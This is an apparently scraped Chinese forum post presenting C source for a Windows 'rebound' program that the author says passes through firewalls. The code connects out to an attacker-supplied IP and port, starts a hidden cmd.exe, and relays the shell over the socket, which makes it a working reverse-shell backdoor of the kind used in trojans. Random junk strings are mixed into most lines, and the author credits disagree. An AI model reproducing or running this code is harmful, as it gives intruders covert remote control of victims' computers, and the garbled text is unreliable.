这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4jlUyAD
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/* ============================== }0Qex=vkO
Rebound port in Windows NT ShdE!q7
By wind,2006/7 ?[}r& f
===============================*/ f\}fUg2
#include WCc,RI0
#include B`xrdtW
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#pragma comment(lib,"wsock32.lib") fWKI~/eUY|
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void OutputShell(); ?H\K];
SOCKET sClient; F(J6 XnQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "/e:V-W
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void main(int argc,char **argv) |UN0jR
{ -s5j^U{h|
WSADATA stWsaData; '`#sOH
int nRet; 2 HNKq<
SOCKADDR_IN stSaiClient,stSaiServer; [=[>1<L>
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if(argc != 3) X!,2/WT
{ |kPjjVGF{
printf("Useage:\n\rRebound DestIP DestPort\n"); AM4lAq_
return; K!c "g,S
} u]K&H&AxT
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WSAStartup(MAKEWORD(2,2),&stWsaData); Cku#[?G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e5/f%4YX
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stSaiClient.sin_family = AF_INET; A
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stSaiClient.sin_port = htons(0); N?Byp&rqI<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Id6H~;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &\8qN_`
{ OPVF)@"ptM
printf("Bind Socket Failed!\n"); $#VE C0
return; cZB?_[Cp
} 6'YT3=
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stSaiServer.sin_family = AF_INET; r%`g` It
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vGe];
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >|{n";n&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F|+Qi BO
{ >Q5et1c
printf("Connect Error!"); )ry7a
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return; d}@b 3
} SlU?,)J}
OutputShell(); Gw!VPFV>W
} tB S+?N
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void OutputShell() yx0wR
{ ''t\J^+&
char szBuff[1024]; WP*xu-(:
SECURITY_ATTRIBUTES stSecurityAttributes; 6T"4<w[
OSVERSIONINFO stOsversionInfo; _C`&(?}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z$64Ep#
STARTUPINFO stStartupInfo; 0R2KI,WI
char *szShell; `_YXU
PROCESS_INFORMATION stProcessInformation; srzlr-J
unsigned long lBytesRead; $('"0 @fg
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Dj?84y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &>nB@SQZ
stSecurityAttributes.lpSecurityDescriptor = 0; |ry![\
stSecurityAttributes.bInheritHandle = TRUE; Z hqGUb
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JM&`&fsOC{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eELLnU{"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k)j6rU
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GZefeBi
stStartupInfo.wShowWindow = SW_HIDE; 6!39t
stStartupInfo.hStdInput = hReadPipe; /penB[1i
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ttP|}|O
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GetVersionEx(&stOsversionInfo); :)9CG!2y<M
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switch(stOsversionInfo.dwPlatformId)
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{ v(0IQ
case 1: 'zJBp 9a%
szShell = "command.com"; :9H`O!VF
break; HNUpgNi
default: i'cGB5-j
szShell = "cmd.exe"; ]EN+^i1F[
break; j.]ln}b/'+
} rF^H\U:w
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &0b\E73
} yb"/jp
send(sClient,szMsg,77,0); tZXq<k9
while(1) (Sv=R(_s
{ ;W 3#q:
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H\%^n<]#
if(lBytesRead) "g5<j p
{ y&n-8L_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); */_$' /qV
send(sClient,szBuff,lBytesRead,0); `w8Ejm?n
} G1
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else a
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{ PIHix{YR
lBytesRead=recv(sClient,szBuff,1024,0); <)$e*HrI
if(lBytesRead<=0) break; XQ'$J_hC
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,Gi%D3lA
} \? n<UsI
} u5.zckV
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return; oA* 88c+{f
}